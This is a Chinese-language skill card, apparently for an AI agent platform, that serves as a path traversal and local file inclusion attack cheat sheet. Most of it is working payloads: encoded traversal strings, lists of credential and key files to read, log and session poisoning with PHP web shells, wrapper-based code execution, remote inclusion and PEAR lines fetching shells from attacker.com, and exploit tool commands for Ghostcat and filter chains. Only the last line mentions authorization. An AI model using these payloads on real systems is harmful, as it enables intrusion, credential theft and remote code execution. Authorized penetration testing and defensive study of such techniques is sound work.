其他
路径遍历/LFI测试:文件路径、下载、包含…
当参数控制文件路径、include/require、下载、解压或流包装器时,用编码绕过、PHP wrapper、日志/会话投毒与服务器特性读取敏感文件并尝试RCE。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 59/100 ×0.15
适用场景
路径遍历/LFI测试:文件路径、下载、包通用
解决思路
- 先做相关路由:若主要攻击面是上传流程而不是 include 或读取原语,先加载 upload insecure files。
- 先做相关路由:若目标是 Java 后端(Spring、Jetty、Undertow、Vert.x)且标准 ../、%2e%2e、%252e 链被 WAF 阻止,加载 ghost-bits-cast-attack;将 . 替换为 阮 (U+962E)、/ 替换为 阯 (U+962F),通过 Spring CVE-2025-41242 和 Jetty %2> hex-folding 重新启用遍历。
- 首轮遍历链测试:../etc/passwd;../../../../etc/passwd;..%2f..%2f..%2fetc%2fpasswd;..%252f..%252f..%252fetc%252fpasswd;..\..\..\windows\win.ini。
- 核心概念:路径遍历是用 ../ 序列逃出预期目录读取任意文件。
- 核心概念:LFI 是 PHP 中用户输入控制 include()/require() 时,文件被当作 PHP 代码执行,而不只是被读取;示例 ?page=../../../../etc/passwd。
- 遍历序列基础变体:../../../etc/passwd;Windows 用 ..\..\..\windows\system32\drivers\etc\hosts。
- URL 编码变体:%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd(%2f 是 /);%2e%2e%5c%2e%2e%5c%2e%2e%5c(%5c 是 \)。
- 双重 URL 编码变体(服务器解码一次、过滤器解码前检查):%252e%252e%252f%252e%252e%252f;..%252f..%252fetc%252fpasswd。
- Unicode/overlong UTF-8 变体:..%c0%af..%c0%af(/ 的 overlong UTF-8);..%c1%9c..%c1%9c(\ 的 overlong UTF-8);..%ef%bc%8f(全角斜杠 /)。
- 混合编码变体:..%2F..%2Fetc%2Fpasswd;....//....//etc/passwd(过滤器只删单个 ../)。
- 过滤器删除 ../ 时:用 ....//(删掉 ../ 后仍是 ../);用 ..././(删掉 ./ 后仍是 ../)。
- 空字节注入(旧 PHP < 5.3.4):../../../../etc/passwd%00.jpg;../../../../etc/passwd%00.php。
- Linux 目标文件:/etc/passwd;/etc/shadow;/etc/hosts;/etc/hostname;/proc/self/environ;/proc/self/cmdline;/proc/self/fd/0;/proc/[pid]/maps;/var/log/apache2/access.log;/var/log/apache2/error.log;/var/log/nginx/access.log;/var/log/auth.log;/var/mail/www-data;/home/USER/.ssh/id_rsa;/home/USER/.ssh/authorized_keys;/home/USER/.bash_history;/home/USER/.aws/credentials;/tmp/sess_SESSIONID。
- Web 应用配置文件:/var/www/html/.env;/var/www/html/config.php;/var/www/html/wp-config.php;/etc/apache2/sites-enabled/;/etc/nginx/sites-enabled/;/usr/local/etc/nginx/nginx.conf。
- Windows 目标文件:C:\Windows\System32\drivers\etc\hosts;C:\Windows\win.ini;C:\Windows\System32\config\SAM;C:\inetpub\wwwroot\web.config;C:\inetpub\wwwroot\global.asa;C:\xampp\htdocs\wp-config.php;C:\Users\Administrator\.ssh\id_rsa;C:\ProgramData\MySQL\MySQL Server 8\my.ini。
- Apache 日志投毒:步骤 1 通过 User-Agent 注入 PHP:GET / HTTP/1.1 和 User-Agent: <?php system($_GET['cmd']); ?>;步骤 2 通过 LFI 包含日志:?page=../../../../var/log/apache2/access.log&cmd=id。
- SSH 日志投毒:把 PHP payload 作为 SSH 用户名:ssh '<?php system($_GET['cmd']); ?>'@target.com;然后包含 /var/log/auth.log。
- PHP session 文件投毒:步骤 1 在会写入 session 的参数(如 username)中发送 PHP 代码;步骤 2 包含 session 文件:?page=../../../../tmp/sess_SESSIONID&cmd=id;从 cookie PHPSESSID 找 session ID。
- php://expect wrapper(需要 expect PHP 扩展):?page=expect://id。
- php://input wrapper(把 LFI 与 POST body 结合):POST ?page=php://input,Body: <?php system('id'); ?>。
- data:// wrapper:?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id;该 base64 是 <?php system($_GET['cmd']); ?>。
- php://filter 读取文件内容:?page=php://filter/convert.base64-encode/resource=config.php;?page=php://filter/convert.base64-encode/resource=/etc/passwd;解码返回的 base64 查看文件内容(含 PHP 源码)。
- php://filter 其他转换:?page=php://filter/read=string.rot13/resource=config.php;?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php。
- 链式 filter(多次变换绕过输入过滤):?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd。
- RFI(当 allow_url_include = On):?page=http://attacker.com/shell.txt;?page=ftp://attacker.com/shell.php;在 attacker 主机放置含 <?php system($_GET['cmd']); ?> 的 shell.txt。
- 服务器特定路径截断:用 . 或 /./ 填充到 255+ 字符,使服务器追加的扩展名被截断;?page=../../../../etc/passwd/./././././././././././............(255+ 字符)。若 PHP < 5.3.4 也可用 null byte:?page=../../../../etc/passwd%00。
- 测试参数位置:?file=、?page=、?include=、?path=、?doc=、?view=、?load=、?read=、?template=、?lang=、?url=、?src=、?content=、?site=、?layout=、?module=;也测试 HTTP 头、cookie、表单 action、import/upload 功能。
- 过滤器绕过清单:尝试 URL 编码 %2e%2e%2f;双重 URL 编码 %252e%252e%252f;overlong UTF-8 ..%c0%af / ..%ef%bc%8f;混合 ..%2F 或 ..%5C;冗余序列 ....// 或 ..././;null byte /../../../etc/passwd%00;绝对路径 /etc/passwd(若未加路径前缀);Windows UNC \\127.0.0.1\C$\Windows\win.ini。
- 影响升级:路径遍历读取任意文件后,读取 /etc/passwd 枚举用户;读取 /proc/self/environ 找 API key、DB 密码;读取应用配置找凭据横向移动;读取 SSH 私钥直接登录服务器;找日志路径做日志投毒到 LFI RCE。
- 影响升级:LFI 后,日志投毒到 webshell;session 文件投毒到 webshell;php://input 直接代码执行;data:// 直接代码执行;php://filter 读取 PHP 源码找更多漏洞。
- LFI 到 RCE——Apache 日志投毒:条件 LFI 且 Apache access.log 可读;在 User-Agent 注入 <?php system($_GET['c']);?>;包含 /var/log/apache2/access.log。
- LFI 到 RCE——SSH 日志投毒:条件 LFI 且 SSH auth.log 可读;以 <?php system('id');?>@target 登录 SSH;包含 /var/log/auth.log。
- LFI 到 RCE——Mail 日志投毒:条件 LFI 且 mail log 可读;发送主题含 PHP 的邮件;包含 /var/log/mail.log。
- LFI 到 RCE——/proc/self/fd 暴力枚举:条件 LFI + Linux;暴力枚举 /proc/self/fd/0 到 /proc/self/fd/255,找到含注入内容的打开文件句柄。
- LFI 到 RCE——/proc/self/environ:条件 LFI + CGI/FastCGI;在 User-Agent 头注入 PHP;包含 /proc/self/environ。
- LFI 到 RCE——iconv CVE-2024-2961:条件 glibc < 2.39、PHP 有 php://filter;用 php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource= 链触发堆溢出到 RCE;工具 cnext-exploits。
- LFI 到 RCE——phpinfo() 辅助:条件 LFI 且 phpinfo 页面可访问;竞态:通过 multipart 上传临时文件到 phpinfo,从响应读 tmp 路径,在清理前包含;需要大量并发请求(竞态窗口约 10ms)。
- LFI 到 RCE——PHP Session:条件 LFI 且 session 文件可写;通过可控 session 变量注入 PHP;包含 /tmp/sess_SESSIONID 或 /var/lib/php/sessions/sess_SESSIONID。
- LFI 到 RCE——上传竞态:条件 LFI + 上传端点;上传 PHP 文件并在服务端校验/删除前包含。
- PHP wrapper 利用矩阵——php://filter(最强大,总是先试):php://filter/convert.base64-encode/resource=index.php;php://filter/read=string.rot13/resource=index.php;php://filter/convert.iconv.utf-8.utf-16/resource=index.php;php://filter/zlib.deflate/resource=index.php。
- PHP wrapper 利用矩阵——filter chain RCE(synacktiv php_filter_chain_generator):链多个 convert.iconv 过滤器在无文件上传时写任意字节;工具 synacktiv/php_filter_chain_generator;python3 php_filter_chain_generator.py --chain '<?php system("id");?>'。
- PHP wrapper 利用矩阵——convert.iconv + dechunk oracle 盲读:工具 synacktiv/php_filter_chains_oracle_exploit(filters_chain_oracle_exploit);通过错误/行为差异逐字符读文件内容。
- PHP wrapper 利用矩阵——php://input:POST vulnerable.php?page=php://input,Body: <?php system('id'); ?>;需要 allow_url_include=On。
- PHP wrapper 利用矩阵——data://:data://text/plain,<?php system('id');?>;data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==;data:text/plain,<?php system('id');?>(无 // 的变体也可用)。
- PHP wrapper 利用矩阵——phar://:phar://uploaded.phar/test.php;触发 phar metadata 反序列化,通过 POP 链 RCE(需要上传构造的 phar,可伪装成 JPEG)。
- PHP wrapper 利用矩阵——zip://:zip://uploaded.zip%23shell.php。
- PHP wrapper 利用矩阵——expect://:expect://id;需要 expect 扩展(少见)。
- wrapwrap(前后缀注入):工具 ambionics/wrapwrap;通过 filter 链给文件内容加任意前后缀;用于把文件读取转成 XXE、SSRF 或反序列化触发。
- PEARCMD LFI——config-create:/?file=pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php。
- PEARCMD LFI——man_dir:/?file=pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?=phpinfo()?>+-s+。
- PEARCMD LFI——download:/?file=pearcmd.php&+download+http://attacker.com/shell.php。
- PEARCMD LFI——install:/?file=pearcmd.php&+install+http://attacker.com/shell.tgz。
- Windows FindFirstFile 通配符:< 匹配任意单个字符,> 匹配任意序列(类似 ? 和 *,但在文件 API 中);php<< 可匹配 php5、phtml 等;..\..\windows\win.ini 可用 ..\..\windows\win<< 模糊匹配。
- 高频参数名:filename、file、path(Very High);page、include、template(High);url、src、href(High);download、read、load(Medium);dir、folder、root(Medium);hdfile、inputFile、XFileName(Low);FileUrl、filePath、docPath(Low)。
- 高频易受攻击端点:down.php、download.jsp、download.asp、readfile.php、file_download.php、getfile.php、view.php。
- 绕过技术分布(实战统计):绝对路径直接访问最常见;WEB-INF/web.xml 读取(Java)常见;Base64 编码路径参数中等;双重 URL 编码中等;UTF-8 overlong 编码(%c0%ae)少见但有效;null byte 截断(%00)仅旧版 PHP < 5.3.4。
- Java/Spring 路径遍历——易受攻击的 Spring 资源加载:ClassPathResource r = new ClassPathResource(userInput);getClass().getResourceAsStream("/templates/" + userInput);servletContext.getResourceAsStream("/WEB-INF/" + userInput)。
- Java 高价值目标:/WEB-INF/web.xml;/WEB-INF/classes/application.properties;/WEB-INF/classes/application.yml;/WEB-INF/classes/bootstrap.properties;/WEB-INF/lib/;/META-INF/MANIFEST.MF;/META-INF/context.xml;读取方式如 GET /download?file=../WEB-INF/web.xml。
- Spring MVC ResourceHttpRequestHandler:当通过 spring.resources.static-locations 提供静态资源时,测试 GET /static/..%252f..%252fWEB-INF/web.xml;GET /static/..;/..;/WEB-INF/web.xml(Tomcat 路径参数规范化)。
- Tomcat 路径参数规范化(/..;/):Tomcat 把 ; 当路径参数分隔符,在路径解析前删除从 ; 到下一个 / 的内容;上游代理或 WAF 可能不这样解析;测试 GET /app/..;/manager/html;GET /app/..;jsessionid=x/..;/WEB-INF/web.xml。
- Tomcat AJP Ghostcat(CVE-2020-1938):AJP 端口 8009 暴露时可任意文件读取和 JSP 执行;读文件:python3 ajpShooter.py http://target:8009 /WEB-INF/web.xml read;执行:python3 ajpShooter.py http://target:8009 / eval --ajp-secret="" -H "javax.servlet.include.request_uri:/anything" -H "javax.servlet.include.servlet_path:/uploads/avatar.txt";条件 AJP 8009 可达且 Tomcat 9.0.31 前 secretRequired 未设置。
- Tomcat 双重 URL 解码:GET /%252e%252e/%252e%252e/etc/passwd。
- Nginx alias 尾斜杠陷阱:易受攻击配置 location /assets { alias /data/; };请求 GET /assets../etc/passwd;GET /assets..%2f..%2fetc%2fpasswd;因为 alias 把 /assets 替换成 /data/,剩余 ../ 逃逸。正确配置 location /assets/ { alias /data/; }。
- Nginx location + alias off-by-one:location /img { alias /var/images; } 时 /img../secret -> /var/images/../secret -> /var/secret;规则:使用 alias 时 location 前缀和 alias 路径要么都带 /,要么都不带。
- Node.js path.join 与 URL 编码输入:Express 在 path.join 前解码 req.params;GET /files/..%2f..%2f..%2fetc%2fpasswd;req.params.name 变为 ../../../etc/passwd;path.join(__dirname, 'uploads', '../../../etc/passwd') = /etc/passwd。
- Node.js express.static 怪癖:对路径调用 decodeURIComponent,然后 path.normalize();若中间件先解码一次,双重编码 %252e%252e%252f 可绕过;现代 Node.js v14+ 拒绝 null byte %00,旧版可能截断。
- Node.js url.parse() 与 new URL() 混淆:url.parse() 不解析路径遍历,parsed.pathname 可能含 ../;new URL() 会规范化路径;混用 url.parse() 和 path.join() 可能导致 new URL() 本会消除的遍历。
- IIS 短文件名枚举(~1 波浪号技巧)——检测:Windows NTFS 生成 8.3 短文件名;IIS 对有效/无效短名前缀响应不同;GET /W~1.ASP -> 404(名称模式有效);GET /Z~1.ASP -> 400(坏请求);差分响应泄露是否存在该前缀文件。
- IIS 短文件名枚举——枚举过程:Step 1 /A~1* -> 404 表示存在以 A 开头的文件;Step 2 /AB~1* -> 404 表示存在以 AB 开头的文件;Step 3 /ABCDEF~1.A* -> 404 表示扩展名以 A 开头。
- IIS 短文件名枚举——工具与影响:java -jar iis_shortname_scanner.jar https://target.com/;发现隐藏备份、配置文件、源码;8.3 格式缩小暴力破解空间;目录列表禁用时也可用。
适用边界 · 注意事项
- 目标没有文件路径、包含、读取、下载、解压或流包装器可控点时,不适用。
- 仅有路径遍历但无法读取日志/临时文件/可写会话/上传,且 PHP 未开启 allow_url_include,通常只能读文件,不能直接 RCE。
- 未获得授权或超出授权范围的渗透测试不要使用。